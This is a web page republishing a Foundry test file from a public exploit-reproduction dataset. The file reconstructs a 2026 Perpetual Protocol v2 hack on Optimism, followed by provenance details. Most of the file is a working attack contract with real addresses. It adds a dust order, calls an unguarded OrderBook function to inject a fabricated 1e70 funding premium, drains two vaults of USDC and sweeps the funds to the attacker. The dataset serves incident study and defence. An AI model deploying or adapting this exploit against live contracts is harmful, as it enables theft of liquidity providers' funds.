Public reproduction file
src/test/2026-10/PerpetualProtocol_exp.sol
Public reproduction file for dataset entry PerpetualProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// Perpetual Protocol v2 (Curie) - missing access-control guard on7// OrderBook.updateFundingGrowthAndLiquidityCoefficientInFundingPayment(). Optimism, Jul 2026.8// ~3,062.21 USDC.e drained across two perp deployments in one tx.9//10// Exploit tx : 0xb0a8a3cc76fb17bf965ab1dee3b76b62f79ca72def31e12f8ad8b1711625df08 (block 154311432)11// Attacker : 0x957c6cF5E0F69597dB7A8065c94af1A48aBCA47d (deployed a one-shot attack contract)12//13// Root cause (confirmed against the verified OrderBook implementation 0xa0D9966d, source on14// sourcify): every state-changing OrderBook entrypoint calls `_requireOnlyClearingHouse()` -15// addLiquidity (line 99), removeLiquidity (178), replaySwapInternal (200), updateOrderDebt (275) -16// EXCEPT `updateFundingGrowthAndLiquidityCoefficientInFundingPayment` (line 232), whose body runs17// straight into reading the trader's open orders and applying the CALLER-SUPPLIED18// `fundingGrowthGlobal.twPremiumX96` to their cached funding growth, with no caller check. It is19// `external`, so anyone can call it for their own account. (The guard at line 275 belongs to the20// next function, updateOrderDebt, not to this one - verified by reading the full 232-268 body.)21//22// Attack, per market (exact values from the real tx trace):23// 1. ClearingHouse.addLiquidity() a dust order (base=2, quote=1 wei) so the account has a cached24// open order (normal public user path, needs ~no collateral at 2 wei).25// 2. Call the UNGUARDED OrderBook.updateFundingGrowthAndLiquidityCoefficientInFundingPayment(self,26// baseToken, Funding.Growth(twPremiumX96 = 1e70, 0)) DIRECTLY, poisoning the order's cached27// funding growth with a fabricated ~1e70 premium.28// 3. Vault.withdraw(USDC) - withdraw triggers settleAllFunding, which turns the poisoned cache29// into a enormous bogus funding payment / realized PnL, inflating free collateral so the whole30// vault balance is withdrawable. The real USDC paid out belongs to the other LPs.31// Done against two deployments in one tx: vault 0x28bB.. (71.777612 USDC) + vault 0xf127..32// (2990.435495 USDC) = 3,062.213107 USDC to the attacker.33//34// Permissionless: the attacker is a fresh account using only public user paths (addLiquidity /35// withdraw via ClearingHouse+Vault) plus the one unguarded OrderBook function. No admin/owner/36// governance/role/signature step stands between the attacker and the exploited function.37//38// This reconstruction drives the real contracts with typed calls (no create()-deployed bytecode,39// no raw calldata). The attack contract is the trader, so addLiquidity/poison/withdraw all act on40// one consistent account, exactly as the real one-shot contract did.41//42// Run (self-contained Optimism archive fork; add --evm-version cancun if a frameless NotActivated hits):43// forge test --contracts ./src/test/2026-10/PerpetualProtocol_exp.sol --evm-version cancun -vvv45interface IERC20 {46 function balanceOf(address) external view returns (uint256);47 function transfer(address, uint256) external returns (bool);48}50interface IClearingHouse {51 struct AddLiquidityParams {52 address baseToken;53 uint256 base;54 uint256 quote;55 int24 lowerTick;56 int24 upperTick;57 uint256 minBase;58 uint256 minQuote;59 bool useTakerBalance;60 uint256 deadline;61 }62 function addLiquidity(AddLiquidityParams calldata params) external returns (uint256, uint256, uint256);63}65interface IOrderBook {66 struct Growth {67 int256 twPremiumX96;68 int256 twPremiumDivBySqrtPriceX96;69 }70 function updateFundingGrowthAndLiquidityCoefficientInFundingPayment(71 address trader,72 address baseToken,73 Growth calldata fundingGrowthGlobal74 ) external returns (int256);75}77interface IVault {78 function withdraw(address token, uint256 amount) external;79}81contract PerpAttacker {82 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);83 int256 internal constant POISON_TW_PREMIUM = 1e70; // fabricated twPremiumX96 from the real tx85 function hit(86 address clearingHouse,87 address orderBook,88 address vault,89 address baseToken,90 int24 lowerTick,91 int24 upperTick92 ) external {93 // 1. Create a cached dust order through the normal ClearingHouse path.94 IClearingHouse(clearingHouse).addLiquidity(95 IClearingHouse.AddLiquidityParams({96 baseToken: baseToken,97 base: 2,98 quote: 1,99 lowerTick: lowerTick,100 upperTick: upperTick,101 minBase: 0,102 minQuote: 0,103 useTakerBalance: false,104 deadline: block.timestamp105 })106 );108 // 2. Poison the order's cached funding growth via the unguarded OrderBook function.109 IOrderBook(orderBook).updateFundingGrowthAndLiquidityCoefficientInFundingPayment(110 address(this), baseToken, IOrderBook.Growth({twPremiumX96: POISON_TW_PREMIUM, twPremiumDivBySqrtPriceX96: 0})111 );113 // 3. Withdraw the whole vault against the fabricated PnL (withdraw settles funding first).114 IVault(vault).withdraw(address(USDC), USDC.balanceOf(vault));115 }117 function sweep(address to) external {118 USDC.transfer(to, USDC.balanceOf(address(this)));119 }120}122contract PerpetualProtocol_exp is Test {123 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);124 uint256 internal constant ATTACK_BLOCK = 154311432;125 // Exact total drained in the real tx (vault 0x28bB.. 71,777,612 + vault 0xf127.. 2,990,435,495).126 uint256 internal constant EXPECTED = 3_062_213_107;128 string internal constant OPTIMISM_ARCHIVE = "https://optimism.gateway.tenderly.co";130 address internal attacker = makeAddr("attacker");132 function setUp() public {133 vm.createSelectFork(OPTIMISM_ARCHIVE, ATTACK_BLOCK - 1);134 }136 function testExploit() public {137 PerpAttacker atk = new PerpAttacker();139 // Market 1140 atk.hit(141 0x4f7961ee13bDA96BFa9381B87D21b2Baed96F0b5, // ClearingHouse142 0x772F48F073c1f328C264619fc3bbA28e3efdEfb0, // OrderBook143 0x28bB48207C761eeD2A4aA9249083c429c719AaDB, // Vault144 0xab3F8a9599D62f09A71d7337dFfF4458a4C7fe27, // baseToken145 84120,146 84240147 );148 // Market 2149 atk.hit(150 0x8098c6273bD5F9D32d03E6cb62472a9E6608efF2,151 0x4E26b6815d82BAa6B8c15Fe4ffB646dFb4b474c7,152 0xf127fdb858F009938B4530aAC37E5Bc8e9a09C28,153 0x28D8a1a6BDEAF9d42dA6A55da8a34710e3434B97,154 83400,155 83520156 );158 atk.sweep(attacker);160 uint256 stolen = USDC.balanceOf(attacker);161 emit log_named_decimal_uint("USDC drained", stolen, 6);162 assertApproxEqRel(stolen, EXPECTED, 0.01e18);163 }164}Analysis
Dataset entry
Public Foundry test for “PerpetualProtocol” (2026-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x957c6cf5e0f69597db7a8065c94af1a48abca47d
File record
- Name
- PerpetualProtocol
- Path
- src/test/2026-10/PerpetualProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 53c25aa795b2d07f0a1e6d116c5b5b9c45820e04
- Language
- Solidity
- Size
- 165 lines
- Date
- 2026-07-16
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-10/PerpetualProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 53c25aa795b2d07f0a1e6d116c5b5b9c45820e04, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.